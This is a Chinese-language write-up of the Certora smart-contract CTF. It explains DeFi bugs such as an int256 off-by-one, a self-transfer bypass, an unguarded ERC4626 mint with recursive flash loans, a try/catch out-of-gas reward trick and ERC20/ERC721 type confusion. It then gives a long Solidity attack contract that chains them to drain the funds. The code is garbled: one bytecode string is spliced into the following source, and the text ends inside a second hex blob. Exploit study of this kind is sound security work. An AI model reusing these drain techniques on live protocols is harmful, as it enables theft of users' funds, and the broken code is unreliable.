Certora CTF 解题报告

billh_
发布于 2026-01-08 23:30
阅读 12

本文分析了 Certora CTF 中的多个挑战，揭示了Exchange合约中 toInt256 函数的 off-by-one 漏洞和NISC 合约中 _update 函数的安全漏洞，从而可以在 Vault 中获得巨大的信用额度并交换为 USDC。

这个 Certora CTF 由 6 个非独立的挑战组成。其中一些是相互关联的，我认为这是一个展示 DeFi 的可组合性（以及漏洞如何在整个生态系统中级联）的好方法。目标是从系统中提取尽可能多的资金。

* * *

## 交易所

当我第一次阅读合约时，它们立刻让我想起了臭名昭著的 Balancer v2 漏洞。然而，经过进一步审查，我意识到没有经典的舍入误差漏洞可以让我耗尽大量资金。这次没有精度损失带来的免费午餐。

### 漏洞搜寻

然后我注意到 `ExchangeVault.sol` 中 `toInt256` 的实现有些可疑：

```
function toInt256(uint256 value) internal pure returns (int256 result) {
    assembly {
        let max := shl(255, 1)  // max = 2^255
        if gt(value, max) { revert(0, 0) }
        result := value
    }
}
```

这里的问题很微妙但至关重要：`gt(value, max)` 检查 `value > max` 是否成立，这意味着当 `value == 2^255` 时，检查通过，我们得到 `result = 2^255`。但 `2^255` 在二进制补码中实际上是 `-2^255`（int256 的最小值）。这是一个经典的差一错误。它应该是 `if iszero(lt(value, max))` 才能正确拒绝 `2^255`。

一个攻击想法在我脑海中形成：利用这个漏洞通过将 `2^255` 传递给 `_takeDebt` 函数来破坏信用和债务核算。当调用 `_takeDebt(token, 2^255)` 时，它会执行 `_accountDelta(token, toInt256(2^255))`，这将导致 `_accountDelta(token, -2^255)`。这将给我们一个巨大的**信用**而不是债务！

然而，找到实际触发它的路径很棘手。大多数路径都涉及费用计算，而 `2^255 * fee / 10000` 会溢出。我花了至少 2 天时间盯着这个挑战，后来确信除了这个合约之外还有其他东西。

### 缺失的部分

所以我开始检查其他组件。部署脚本看起来很干净。然后我浏览了 token 合约，`NISC.sol` 中的 `_update` 函数引起了我的注意：

```
function _update(address from, address to, uint256 value) internal override {
    if (from == to) {
        return;  // Skip self-transfers for "gas optimization"
    }
    super._update(from, to, value);
}
```

这个看起来无害的“gas 优化”实际上是一个关键漏洞。当 `from == to` 时，转移**返回成功**，而实际上没有检查余额或移动任何 token！

### 攻击

有了这些知识，攻击变得非常优雅：

1. 调用 `exchangeVault.sendTo(nisc, address(exchangeVault), 1 << 255)`
2. 由于 `from == to`（vault 到 vault），NISC 转移成功，无需任何余额检查
3. 由于 `toInt256` 中的错误，vault 调用 `_takeDebt(nisc, 2^255)`，实际上记录了 `2^255` 的信用
4. 我们现在在系统中有巨额信用。交换我们想要的所有 USDC
5. 用另一个 `sendTo` 清除剩余的 delta 以通过 `transient` 修饰符检查

* * *

## 借贷

借贷协议是一个漏洞宝库。让我们系统地梳理一遍。

### 观察 \#1：闪电贷减少了池子的现金

首先引起我注意的是闪电贷操作直接操纵了 `_poolCash`：

```
function flashloanWithdraw(uint256 amount) external onlyFlashloanContract nonReentrant returns (uint256) {
    require(amount <= _poolCash, "LendingPool: Not enough cash for flashloan");
    _flashloanActive = true;
    _poolCash -= amount;
    IERC20(asset()).safeTransfer(msg.sender, amount);
    return amount;
}
```

这很可疑，因为 `_poolCash` 直接影响了池子的 `totalAssets()` 计算，进而影响了份额定价。任何让我们在份额铸造期间人为地降低 `totalAssets()` 的方法都是潜在的利用向量。

### 观察 \#2：缺少 ERC4626 覆盖

我注意到的另一件事是 `LendingPool` 继承自 `ERC4626`，但没有覆盖 `mint` 函数。与此同时，`deposit`、`withdraw` 和 `redeem` 都受到 `notDuringFlashloan` 修饰符的保护：

```
function deposit(uint256 assets, address receiver) public override nonReentrant notDuringFlashloan returns (uint256 shares) {
    // ...protected
}

// But mint() is inherited directly from ERC4626 without protection!
```

显然，这是为了防止在闪电贷期间（当 `_poolCash` 暂时减少时）操纵份额价格而采取的保护措施。但是 `mint()` 却漏网了。

### 观察 \#3：闪电贷状态不同步

闪电贷机制使用一个布尔值 `_flashloanActive` 来跟踪闪电贷是否正在进行中：

```
function flashloanReturn(uint256 amount) external onlyFlashloanContract nonReentrant {
    _poolCash += amount;
    _flashloanActive = false;
}
```

问题是：`_flashloanActive` 是一个布尔值，而不是一个计数器。如果我们递归地调用闪电贷：

1. 外部闪电贷：`_flashloanActive = true`
2. 内部闪电贷：`_flashloanActive = true`（无操作）
3. 内部闪电贷返回：`_flashloanActive = false` ← **漏洞！**
4. 现在我们可以在外部闪电贷仍然处于活动状态时绕过 `notDuringFlashloan`

### 观察 \#4：闪电贷费用减少

闪电贷有一个令人痛苦的 10% 的费用。但是，由于闪电贷可以递归调用，并且合约使用余额检查而不是跟踪个人还款，我们可以利用这一点：

```
require(token.balanceOf(address(this)) >= initialBalance + fee, "FlashLoaner: Insufficient repayment");
```

如果我们首先借入 100 个 token，然后在回调中再借入 1000 个 token，当内部闪电贷完成时，我们将偿还全部 1100 个 token。然后，外部闪电贷只需要我们为最初的 100 个 token 添加费用（即 10）。我们总共借了 1100 个 token，但只支付了约 10 个 token 的费用，从而将实际费用从 10% 降低到约 1%。通过增加递归深度，可以进一步优化这一点。

### 整合

核心思想很简单：在闪电贷期间，当 `totalAssets()` 返回被低估的值时，调用 `mint`，然后用我们获得的份额耗尽池子。

由于 `totalAssets()` 由 `_poolCash` 加上未偿债务组成，我们可以通过减少债务部分来进一步优化。这意味着在攻击前清算活动中的头寸。为了清算一个头寸，我们使用闪电贷来操纵 `_poolCash`，这会影响抵押品价值的计算。结合 `_flashloanActive` 的绕过，我们甚至可以在活动闪电贷期间执行清算。

攻击很复杂，但核心漏洞很明显：未受保护的 `mint()`，用于闪电贷跟踪的布尔值而不是计数器，以及支持费用减少的基于余额的费用检查。

* * *

## 社区保险

我们可以将这个挑战分为两个部分：耗尽已存入的资金和耗尽奖励 token。

### 耗尽已存入的资金

社区保险合约可以清算来自借贷协议的坏账头寸。由于我们已经拥有了所有工具，可以通过前一个挑战中的闪电贷来操纵抵押品价值，我们可以故意创建坏账头寸。只需大量借款，然后使用闪电贷来降低抵押品价值。

### 耗尽奖励 Token：63/64 Gas 规则

这就是有趣的地方。看看 `_update` 函数：

```
function _update(address from, address to, uint256 value) internal override {
    // ... transfer logic ...
    super._update(from, to, value);

// Update rewards wrapped in try/catch
    if (from != address(0)) {
        uint256 freeFrom = balanceOf(from) + value - originalShares;
        try IRewardDistributor(rewardDistributor).updateReward(from, freeFrom, totalFree) {} catch {}
    }

if (to != address(0)) {
        uint256 freeTo = balanceOf(to) - withdrawRequests[to].shares - value;
        try IRewardDistributor(rewardDistributor).updateReward(to, freeTo, totalFree) {} catch {}
    }
}
```

为什么要将 `updateReward` 包装在 try/catch 中？这种看似防御性的模式基于 EVM 的 63/64 gas 规则打开了一个有趣的攻击向量。

当进行外部调用时，EVM 最多只转发剩余 gas 的 63/64。这意味着：

1. 如果我们仔细控制 gas，我们可以使 `updateReward` 耗尽 gas
2. catch 块捕获 OOG 异常
3. 剩余的 1/64 的 gas 足以完成其余的执行
4. 结果：转移成功，但 `userRewardPerTokenPaid` **没有**更新！

### 攻击

我们使用仔细控制的 gas 进行存款，以便 `updateReward` 调用由于 OOG 而失败，但存款本身成功。我们的份额余额增加，但 `userRewardPerTokenPaid` 保持在 0。然后我们可以声明协议中所有可用的奖励。

多年前，我在一次私人安全审查中发现了一个类似的在 try/catch 中的 OOG 问题。jinu 还有一个与此模式相关的很棒的 CTF 挑战：[https://dreamhack.io/wargame/challenges/1322](https://dreamhack.io/wargame/challenges/1322)。所以这一个花了我最少的时间来解决。有时过去的经验真的很有用！

* * *

## 投资

与其他挑战相比，这个挑战非常简单。

### 漏洞

查看 `InvestmentVault.sol`，`IdleMarket` 在市场排序中有一个特殊的位置：

- **存款流程**：市场按顺序填充，`IdleMarket` **最后**
- **取款流程**：市场按相反的顺序耗尽，`IdleMarket` **首先**

```
function _supplyFunds(uint256 assets) internal {
    for (uint256 i = 0; i < markets.length; i++) {  // IdleMarket is last
        // ...
    }
}

function _withdrawFunds(uint256 assets) internal {
    for (uint256 i = markets.length-1 ; i >=0 ; i--) {  // IdleMarket is first to drain
        // ...
    }
}
```

### 攻击

由于 IdleMarket 在存款顺序中是最后一个，但在取款顺序中是第一个，我们可以简单地存款然后立即取款来耗尽 IdleMarket 的现有余额。任何剩余的资金都可以通过改为利用借贷协议来获得。

* * *

## 拍卖

这个挑战展示了一种经典的类型混淆漏洞。

### 漏洞

在 `createAuction` 中，该函数接受一个 `IERC721 nftContract` 参数，但没有验证它实际上是否为 ERC721：

```
function createAuction(
    IERC721 nftContract,
    uint256 tokenId,
    // ...
) external nonReentrant returns (uint256 auctionId) {
    // ...
    nftContract.transferFrom(msg.sender, address(vault), tokenId);
    // ...
}
```

ERC20 和 ERC721 都有 `transferFrom(address, address, uint256)`，具有相同的函数签名。关键区别在于 ERC721 将第三个参数解释为 `tokenId`，而 ERC20 将其解释为 `amount`。

我们可以通过将支付 token 地址作为 `nftContract` 参数来利用这一点。这会将支付 token 转移到 vault，从而膨胀 AuctionToken 的份额价值（因为现在每个份额代表更多的基础 token）。然后我们可以用最少的 AuctionToken 份额进行竞标，最后使用 `_settleAuction` 将相同数量的支付 token 转移出去。凭空得来的免费资金。

### 获取彩票 \#0

对于彩票 #0，vault 最初是空的（在耗尽借贷协议之后），所以我们可以最大限度地提高份额价值。攻击很简单：存入少量支付 token，创建一个伪造的拍卖，将我们的目标 token 作为“NFT”，用我们现在膨胀的份额竞标彩票，然后结算。

### 获取彩票 \#1 和 \#2

对于彩票 #1 和 #2，情况更加复杂。vault 已经包含一些 NISC token，并且我们的 NISC 余额有限，因此通货膨胀的潜力受到限制。我们需要优化。

方法是：

1. 首先，减少 vault 中的 NISC，同时增加我们自己的 NISC 余额
2. 通过 `depositERC20` 存入一些 NISC，然后创建一个拍卖来膨胀 NISC AuctionToken 的份额价值
3. 存款金额和拍卖金额可以通过求解最佳比率的方程来计算
4. 调用 `withdrawERC20` 以使用膨胀的份额提取额外的 NISC
5. 结算拍卖以收回我们的 NISC

这里有一个重要的注意事项：一旦我们调用 `settleAuction`，合约就会执行 `setApprovalForNFT`，由于我们的 `nftContract` 实际上是 NISC 地址，因此会转换为覆盖现有批准金额的 `approve` 调用。如果我们重复此过程，`withdrawERC20` 将会因批准不足而失败。因此，我们需要仔细计划。

有了足够累积的 NISC，我们可以使用类似的模式购买彩票 #1 和 #2：存入少量 NISC，创建一个拍卖来膨胀份额价值，购买一张彩票，结算拍卖，然后对另一张彩票重复此操作。可以通过求解购买两张彩票所需的最小 NISC 来优化确切的金额。

* * *

## 彩票

彩票挑战是函数签名冲突的一个例子。

### 初始观察

当我第一次看到这个挑战时，感觉有些不对劲。`LotteryExtension.sol` 的内容很容易放入 `Lottery.sol` 中。为什么还要使用 `delegatecall`？

```
// Lottery.sol
fallback() external {
    require(address(extension) != address(0), "Extension not set");
    (bool success, bytes memory returnData) = address(extension).delegatecall(msg.data);
    // ...
}
```

我尝试将 `LotteryExtension.sol` 合并到 `Lottery.sol` 中……但由于函数签名重复，它无法编译！

### 冲突

由于函数选择器是从函数名称和参数类型计算出来的，因此对这些函数的调用将直接匹配主合约的实现，永远不会触发 `fallback()` 来访问扩展。

### 解数学题

每个 solve 函数都需要找到 `x`，使得：

```
x² ≡ magic (mod N)
```

其中 `N` 是两个素数的乘积（RSA 风格），这使得它成为一个二次剩余问题。解决方案：

1. 将 `N` 分解为 `p * q`
2. 使用 Tonelli-Shanks 算法解 `x² ≡ magic (mod p)`
3. 使用 Tonelli-Shanks 算法解 `x² ≡ magic (mod q)`
4. 使用中国剩余定理组合解

由于我们有三张彩票（通过拍卖漏洞购买），我们选择三个没有冲突的高奖励挑战并解决它们。每次成功解决都会产生 `magic * 10^6` USDC 的奖金，外加基本奖金。对于一些数论来说还不错！

* * *

## 解决方案

我没有花太多时间优化攻击合约的可读性或效率，所以代码不是很干净。如果你无论如何都有兴趣查看：

我的解决方案

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/utils/math/Math.sol";
import "./interfaces/ILotteryExtension.sol";
import "./interfaces/IAuctionManager.sol";
import "./interfaces/IAuctionToken.sol";
import "./interfaces/IAuctionVault.sol";
import "./interfaces/ICommunityInsurance.sol";
import "./interfaces/IExchange.sol";
import "./interfaces/IExchangeVault.sol";
import "./interfaces/IFlashLoaner.sol";
import "./interfaces/IIdleMarket.sol";
import "./interfaces/IInvestmentVault.sol";
import "./interfaces/IInvestmentVaultFactory.sol";
import "./interfaces/ILendingFactory.sol";
import "./interfaces/ILendingManager.sol";
import "./interfaces/ILendingPool.sol";
import "./interfaces/ILottery.sol";
import "./interfaces/ILotteryCommon.sol";
import "./interfaces/ILotteryStorage.sol";
import "./interfaces/IPool.sol";
import "./interfaces/IPriceOracle.sol";
import "./interfaces/IRewardDistributor.sol";
import "./interfaces/IStrategy.sol";
import "./interfaces/IWeth.sol";
import "./Exchange/PoolHelper.sol";
import "hardhat/console.sol";

interface ILendingPoolBorrower3 {
    function borrow(
        IERC20 debtToken,
        ILendingPool debtTokenPool,
        ILendingPool collateralPool,
        IERC20 collateralToken,
        ILendingManager lendingManager,
        uint256 collateralAmount,
        uint256 debtAmount
    ) external;
}

interface ICommunityInsuranceWithBadDebt3 {
    function liquidateBadDebt(ILendingManager manager, address user, ILendingManager.AssetType assetType) external;
}

contract LendingPoolBorrower3 is ILendingPoolBorrower3 {
    IERC20 public constant usdc = IERC20(0xBf1C7F6f838DeF75F1c47e9b6D3885937F899B7C);

function borrow(
        IERC20 debtToken,
        ILendingPool debtTokenPool,
        ILendingPool collateralPool,
        IERC20 collateralToken,
        ILendingManager lendingManager,
        uint256 collateralAmount,
        uint256 debtAmount
    ) public {
        collateralToken.approve(address(collateralPool), collateralAmount);
        collateralPool.deposit(collateralAmount, address(this));
        collateralPool.approve(address(lendingManager), collateralPool.balanceOf(address(this)));
        ILendingManager.AssetType collateralType = collateralToken == usdc ? ILendingManager.AssetType.A : ILendingManager.AssetType.B;
        ILendingManager.AssetType debtType = debtToken == usdc ? ILendingManager.AssetType.A : ILendingManager.AssetType.B;
        lendingManager.lockCollateral(collateralType, collateralPool.balanceOf(address(this)));

uint256 remaining = debtAmount - 5;
        debtToken.approve(address(debtTokenPool), type(uint256).max);
        debtTokenPool.updateIndex();
        while (remaining > 0) {
            uint256 cashLeft = debtTokenPool.getCash();
            uint256 borrowAmount = remaining > cashLeft ? cashLeft : remaining;
            lendingManager.borrow(debtType, borrowAmount);
            remaining -= borrowAmount;
            if (remaining != 0) {
                uint256 depositAmount = remaining < borrowAmount ? remaining : borrowAmount;
                debtTokenPool.deposit(depositAmount, address(this));
            }
        }
        debtToken.transfer(msg.sender, debtToken.balanceOf(address(this)));
    }
}

contract AttackContract3 is IFlashLoanReceiver {
    IERC20 public constant usdc = IERC20(0xBf1C7F6f838DeF75F1c47e9b6D3885937F899B7C);
    IERC20 public constant nisc = IERC20(0x20e4c056400C6c5292aBe187F832E63B257e6f23);
    IWeth public constant weth = IWeth(0x13d78a4653e4E18886FBE116FbB9065f1B55Cd1d);
    ILottery public constant lottery = ILottery(0x6D03B9e06ED6B7bCF5bf1CF59E63B6eCA45c103d);
    ILotteryExtension public constant lotteryExtension = ILotteryExtension(0x6D03B9e06ED6B7bCF5bf1CF59E63B6eCA45c103d);
    IAuctionVault public constant auctionVault = IAuctionVault(0x9f4a3Ba629EF680c211871c712053A65aEe463B0);
    IAuctionManager public constant auctionManager = IAuctionManager(0x228F0e62b49d2b395Ee004E3ff06841B21AA0B54);
    IStrategy public constant lendingPoolStrategy = IStrategy(0xC5cBC10e8C7424e38D45341bD31342838334dA55);
    IExchangeVault public constant exchangeVault = IExchangeVault(0x776B51e76150de6D50B06fD0Bd045de0a13D68C7);

// Replaced storage arrays with individual constants
    IPool public constant productPool0 = IPool(0x536BF770397157efF236647d7299696B90Bc95f1);
    IPool public constant productPool1 = IPool(0x6cAC85Dc0D547225351097Fb9eEb33D65978bb73);
    IPriceOracle public constant priceOracle = IPriceOracle(0x9231ffAC09999D682dD2d837a5ac9458045Ba1b8);
    ILendingFactory public constant lendingFactory = ILendingFactory(0xdC5b6f8971AD22dC9d68ed7fB18fE2DB4eC66791);

ILendingManager public constant lendingManager0 = ILendingManager(0x66bf9ECb0B63dC4815Ab1D2844bE0E06aB506D4f);
    ILendingManager public constant lendingManager1 = ILendingManager(0x5FdA5021562A2Bdfa68688d1DFAEEb2203d8d045);

ILendingPool public constant lendingPoolA0 = ILendingPool(0xfAC23E673e77f76c8B90c018c33e061aE8F8CBD9);
    ILendingPool public constant lendingPoolA1 = ILendingPool(0xFa6c040D3e2D5fEB86Eda9e22736BbC6eA81a16b);

ILendingPool public constant lendingPoolB0 = ILendingPool(0xb022AE7701DF829F2FF14B51a6DFC8c9A95c6C61);
    ILendingPool public constant lendingPoolB1 = ILendingPool(0x537B309Fec55AD15Ef2dFae1f6eF3AEBD80d0d9c);

IFlashLoaner public constant flashLoaner = IFlashLoaner(0x5861a917A5f78857868D88Bd93A18A3Df8E9baC7);
    IInvestmentVaultFactory public constant investmentFactory = IInvestmentVaultFactory(0xd526270308228fDc16079Bd28eB1aBcaDd278fbD);
    IIdleMarket public constant usdcIdleMarket = IIdleMarket(0xB926534D703B249B586A818B23710938D40a1746);

IInvestmentVault public constant investmentVault0 = IInvestmentVault(0x99828D8000e5D8186624263f1b4267aFD4E27669);
    IInvestmentVault public constant investmentVault1 = IInvestmentVault(0xe7A23A3Bf899f67e0B40809C8f449A7882f1a26E);

ICommunityInsurance public constant communityInsurance = ICommunityInsurance(0x83f3997529982fB89C4c983D82d8d0eEAb2Bb034);
    IRewardDistributor public constant rewardDistributor = IRewardDistributor(0x73a8004bCD026481e27b5B7D0d48edE428891995);
    PoolHelper public constant poolHelper = PoolHelper(0x910B4Fb4E32b234DAADC4Cb7a43C3D56A46Ca220);

struct FlashloanData {
        uint256 step;
        address asset;
        uint256 repayAmount;
        uint256 borrowAmount;
        uint256 depth;
    }

uint256 internal inFlashloan = 0;
    uint256 internal lockedCollateral = 0;
    address internal wethBorrower;
    address internal niscBorrower;
    address internal usdcBorrower;

constructor() payable {}

function Attack() public {
        bytes memory cd = abi.encodeCall(AttackContract3.swapCallback, ());
        exchangeVault.unlock(cd);

exploitExchange();
        exploitLottery();

usdc.transfer(msg.sender, usdc.balanceOf(address(this)));
        nisc.transfer(msg.sender, nisc.balanceOf(address(this)));
        weth.transfer(msg.sender, weth.balanceOf(address(this)));
        payable(msg.sender).transfer(address(this).balance);
    }

function exploitLottery() internal {
        uint256 usdcBalanceBefore = usdc.balanceOf(address(this));
        address(lottery).call(abi.encodeCall(ILotteryExtension.solveMulmod89443, (0, 50026629318756762526651012396395378096102264596730646887809992031890314654744)));
        uint256 usdcBalanceAfter = usdc.balanceOf(address(this));
        usdcBalanceBefore = usdcBalanceAfter;
        address(lottery).call(abi.encodeCall(ILotteryExtension.solveMulmod90174, (1, 40289530849315046632803046237695507888814621779004955301521665942329666711931)));
        usdcBalanceAfter = usdc.balanceOf(address(this));
        usdcBalanceBefore = usdcBalanceAfter;
        address(lottery).call(abi.encodeCall(ILotteryExtension.solveMulmod93740, (2, 70795557551797021934431357608483109706359776929814102558092893513146276451091)));
        usdcBalanceAfter = usdc.balanceOf(address(this));
    }

function exploitExchange() internal {
        bytes memory cd = abi.encodeCall(AttackContract3.swapCallback2, ());
        exchangeVault.unlock(cd);
        weth.approve(address(poolHelper), type(uint256).max);
        poolHelper.swap(productPool0, weth, usdc, 5e18, 0, address(this));
    }

function swapCallback2() external {
        uint256 amount = 1 << 255;
        exchangeVault.sendTo(nisc, address(exchangeVault), amount);
        exchangeVault.swapInPool(productPool1, nisc, usdc, 1e45, 0);
        int256 usdcDelta = exchangeVault.tokenDelta(usdc);
        exchangeVault.sendTo(usdc, address(this), uint256(-usdcDelta));
        exchangeVault.sendTo(nisc, address(this), nisc.balanceOf(address(exchangeVault)));

int256 niscDelta = exchangeVault.tokenDelta(nisc);
        exchangeVault.sendTo(nisc, address(exchangeVault), uint256(-niscDelta));
    }

function exploit() public {
        usdc.approve(address(investmentVault0), type(uint256).max);
        usdc.approve(address(investmentVault1), type(uint256).max);
        investmentVault0.deposit(50000e6, address(this));
        investmentVault1.deposit(50000e6, address(this));
        investmentVault0.redeem(investmentVault0.balanceOf(address(this)), address(this), address(this));
        investmentVault1.redeem(investmentVault1.balanceOf(address(this)), address(this), address(this));

bytes memory deployCode =
            hex"6080604052341561023a57610015565b60405190565b600080fd5b60018060a01b031690565b90565b61003c6100376100419261001a565b610025565b61001a565b90565b61004d90610028565b90565b61005990610044565b90565b90565b90565b61007661007161007b9261005c565b610025565b61005f565b90565b601f801991011690565b634e487b7160e01b600052604160045260246000fd5b906100a89061007e565b810190811060018060401b038211176100c057604052565b610088565b906100d86100d161000f565b928361009e565b565b60018060401b0381116100f05760208091020190565b610088565b90610107610102836100da565b6100c5565b918252565b369037565b9061013661011e836100f5565b9260208061012c86936100da565b920191039061010c565b565b61014190610028565b90565b61014d90610138565b90565b600080fd5b60e01b90565b600080fd5b600091031261016b57565b61015b565b5190565b60209181520190565b60200190565b61018c9061005f565b9052565b9061019d81602093610183565b0190565b60200190565b906101c46101be6101b784610170565b8093610174565b9261017d565b9060005b8181106101d55750505090565b9091926101ee6101e86001928651610190565b946101a1565b91019190916101c8565b61```
uint256 cash = lendingPoolA0.getCash();
        uint256 flashloanFee;
        uint256 depth = 6;
        uint256 curCash = cash;
        uint256 curStep = 0;
        for (uint256 i = 0; i < depth; i++) {
            flashloanFee = curCash / 10 + 1;
            curCash = flashloanFee;
        }
        FlashloanData memory flashloanData = FlashloanData({
            step: curStep++,
            asset: address(usdc),
            repayAmount: cash + curCash / 10 + 1,
            borrowAmount: curCash,
            depth: depth
        });
        flashLoaner.flashloan(usdc, curCash, address(this), abi.encode(flashloanData));

lendingPoolA0.redeem(lendingPoolA0.balanceOf(address(this)), address(this), address(this));

address lendingUserB = 0x11c8738979A536F9F9AEE32d1724D62ac1adb7De;
        weth.approve(address(lendingManager0), type(uint256).max);
        lendingManager0.liquidate(ILendingManager.AssetType.B, lendingUserB);
        ICommunityInsuranceWithBadDebt3(address(communityInsurance)).liquidateBadDebt(lendingManager0, wethBorrower, ILendingManager.AssetType.B);

cash = lendingPoolB0.getCash();
        curCash = cash;
        for (uint256 i = 0; i < depth; i++) {
            flashloanFee = curCash / 10 + 1;
            curCash = flashloanFee;
        }
        flashloanData = FlashloanData({
            step: curStep++,
            asset: address(weth),
            repayAmount: cash + curCash / 10 + 1,
            borrowAmount: curCash,
            depth: depth
        });
        flashLoaner.flashloan(weth, curCash, address(this), abi.encode(flashloanData));
        lendingPoolB0.redeem(lendingPoolB0.balanceOf(address(this)), address(this), address(this));

lendingPoolB0.deposit(1e18, address(this));
        lendingPoolB0.approve(address(lendingManager0), type(uint256).max);
        lockedCollateral = lendingPoolB0.balanceOf(address(this));
        lendingManager0.lockCollateral(ILendingManager.AssetType.B, lockedCollateral);
        lendingManager0.borrow(ILendingManager.AssetType.A, lendingPoolA0.getCash());

lendingManager0.repay(ILendingManager.AssetType.A, lendingManager0.getDebt(ILendingManager.AssetType.A, address(this)));
        lendingManager0.unlockCollateral(ILendingManager.AssetType.B, lockedCollateral);
        lockedCollateral = 0;
        lendingPoolB0.redeem(lendingPoolB0.balanceOf(address(this)), address(this), address(this));

lendingPoolA0.deposit(1000000e6, address(this));
        lendingPoolA0.approve(address(lendingManager0), type(uint256).max);
        lockedCollateral = lendingPoolA0.balanceOf(address(this));
        lendingManager0.lockCollateral(ILendingManager.AssetType.A, lockedCollateral);
        lendingManager0.borrow(ILendingManager.AssetType.B, lendingPoolB0.getCash());

uint256[] memory insuranceAssets = communityInsurance.totalAssets();
        ILendingPoolBorrower3 borrower = deployLendingPoolBorrower();
        uint256 collateralAmount = 250000e18;
        uint256 debtAmount = insuranceAssets[0];
        nisc.transfer(address(borrower), collateralAmount);
        borrower.borrow(usdc, lendingPoolA1, lendingPoolB1, nisc, lendingManager1, collateralAmount, debtAmount);
        usdcBorrower = address(borrower);

cash = lendingPoolB1.getCash();
        curCash = cash;
        for (uint256 i = 0; i < depth; i++) {
            flashloanFee = curCash / 10 + 1;
            curCash = flashloanFee;
        }
        flashloanData = FlashloanData({
            step: curStep++,
            asset: address(nisc),
            repayAmount: cash + curCash / 10 + 1,
            borrowAmount: curCash,
            depth: depth
        });
        flashLoaner.flashloan(nisc, curCash, address(this), abi.encode(flashloanData));

weth.approve(address(lendingManager0), type(uint256).max);
        lendingManager0.repay(ILendingManager.AssetType.B, lendingManager0.getDebt(ILendingManager.AssetType.B, address(this)));
        lendingManager0.unlockCollateral(ILendingManager.AssetType.A, lockedCollateral);
        lockedCollateral = 0;
        lendingPoolA0.redeem(lendingPoolA0.balanceOf(address(this)), address(this), address(this));

lendingPoolB0.deposit(weth.balanceOf(address(this)), address(this));
        lendingPoolB0.approve(address(lendingManager0), type(uint256).max);
        lockedCollateral = lendingPoolB0.balanceOf(address(this));
        lendingManager0.lockCollateral(ILendingManager.AssetType.B, lockedCollateral);
        lendingManager0.borrow(ILendingManager.AssetType.A, lendingPoolA0.getCash());

cash = lendingPoolA1.getCash();
        curCash = cash;
        for (uint256 i = 0; i < depth; i++) {
            flashloanFee = curCash / 10 + 1;
            curCash = flashloanFee;
        }
        flashloanData = FlashloanData({
            step: curStep++,
            asset: address(usdc),
            repayAmount: cash + curCash / 10 + 1,
            borrowAmount: curCash,
            depth: depth
        });
        flashLoaner.flashloan(usdc, curCash, address(this), abi.encode(flashloanData));
        lendingPoolA1.redeem(lendingPoolA1.balanceOf(address(this)), address(this), address(this));
        lendingManager0.repay(ILendingManager.AssetType.A, lendingManager0.getDebt(ILendingManager.AssetType.A, address(this)));
        lendingManager0.unlockCollateral(ILendingManager.AssetType.B, lockedCollateral);
        lockedCollateral = 0;
        lendingPoolB0.redeem(lendingPoolB0.balanceOf(address(this)), address(this), address(this));

exploitAuction();
    }

receive() external payable {}

function exploitAuction() internal {
        weth.approve(address(auctionManager), type(uint256).max);
        usdc.approve(address(auctionManager), type(uint256).max);
        auctionManager.depositERC20(usdc, 0.1e6);
        auctionManager.depositERC20(weth, 100);
        uint256 usdcInAuction = usdc.balanceOf(address(this));
        uint256 auctionId = auctionManager.createAuction(IERC721(address(usdc)), usdcInAuction, 0, 0, weth, 1);

auctionManager.bid(0, 200000e6);
        uint256 withdrawableUsdc = usdc.balanceOf(address(auctionVault)) - usdcInAuction;
        auctionManager.withdrawERC20(usdc, withdrawableUsdc);
        auctionManager.bid(auctionId, 1);

nisc.approve(address(auctionManager), type(uint256).max);
        auctionManager.depositERC20(nisc, 177000e18);
        // auctionManager.depositERC20(nisc, 177100e18);
        uint256 niscInAuction = nisc.balanceOf(address(this));
        auctionId = auctionManager.createAuction(IERC721(address(nisc)), niscInAuction, 0, 0, weth, 1);
        uint256 niscAuctionBalance = auctionManager.auctionTokens(nisc).balanceOf(address(this));
        auctionManager.withdrawERC20(nisc, niscAuctionBalance);
        auctionManager.bid(auctionId, 1);

// auctionManager.depositERC20(nisc, 61900e18);
        auctionManager.depositERC20(nisc, 62000e18);
        niscInAuction = nisc.balanceOf(address(this));
        auctionId = auctionManager.createAuction(IERC721(address(nisc)), niscInAuction, 0, 0, weth, 1);
        auctionManager.buy(2);
        auctionManager.bid(auctionId, 1);

// auctionManager.depositERC20(nisc, 57000e18);
        auctionManager.depositERC20(nisc, 57100e18);
        niscInAuction = nisc.balanceOf(address(this));
        auctionId = auctionManager.createAuction(IERC721(address(nisc)), niscInAuction, 0, 0, weth, 1);
        auctionManager.buy(1);
        auctionManager.bid(auctionId, 1);
    }

function deployLendingPoolBorrower() internal returns (ILendingPoolBorrower3) {
        bytes memory bytecode = hex"608060405234601c57600e6020565b610d1061002c8239610d1090f35b6026565b60405190565b600080fdfe60806040526004361015610013575b6102b4565b61001e60003561003d565b80633e413bee1461003857636d9dd82e0361000e5761027a565b61010b565b60e01c90565b60405190565b600080fd5b600080fd5b600091031261005e57565b61004e565b60018060a01b031690565b90565b61008561008061008a92610063565b61006e565b610063565b90565b61009690610071565b90565b6100a29061008d565b90565b6100c273bf1c7f6f838def75f1c47e9b6d3885937f899b7c610099565b90565b6100cd6100a5565b90565b6100d990610071565b90565b6100e5906100d0565b90565b6100f1906100dc565b9052565b9190610109906000602085019401906100e8565b565b3461013b5761011b366004610053565b6101376101266100c5565b61012e610043565b918291826100f5565b0390f35b610049565b61014990610063565b90565b61015590610140565b90565b6101618161014c565b0361016857565b600080fd5b9050359061017a82610158565b565b61018590610140565b90565b6101918161017c565b0361019857565b600080fd5b905035906101aa82610188565b565b6101b590610140565b90565b6101c1816101ac565b036101c857565b600080fd5b905035906101da826101b8565b565b90565b6101e8816101dc565b036101ef57565b600080fd5b90503590610201826101df565b565b60e08183031261026f5761021a826000830161016d565b92610228836020840161019d565b92610236816040850161019d565b92610244826060830161016d565b9261026c61025584608085016101cd565b936102638160a086016101f4565b9360c0016101f4565b90565b61004e565b60000190565b346102af5761029961028d366004610203565b95949094939193610527565b6102a610043565b806102ab81610274565b0390f35b610049565b600080fd5b6102c2906100d0565b90565b600080fd5b601f801991011690565b634e487b7160e01b600052604160045260246000fd5b906102f4906102ca565b810190811067ffffffffffffffff82111761030e57604052565b6102d4565b60e01b90565b151590565b61032781610319565b0361032e57565b600080fd5b905051906103408261031e565b565b9060208282031261035c5761035991600001610333565b90565b61004e565b61036a90610140565b9052565b610377906101dc565b9052565b91602061039d92949361039660408201966000830190610361565b019061036e565b565b6103a7610043565b3d6000823e3d90fd5b6103b9906100d0565b90565b905051906103c9826101df565b565b906020828203126103e5576103e2916000016103bc565b90565b61004e565b91602061040c9294936104056040820196600083019061036e56